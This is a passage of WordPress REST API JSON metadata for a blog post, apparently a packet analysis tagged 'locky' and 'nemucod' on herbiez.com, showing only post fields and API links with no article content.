class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[14,15],"class_list":["post-996","post","type-post","status-publish","format-standard","hentry","category-packet-analysis","tag-locky","tag-nemucod"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/996","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=996"}],"version-history":[{"count":4,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/996\/revisions"}],"predecessor-version":[{"id":1005,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/996\/revisions\/1005"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=996"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=996"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=996"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}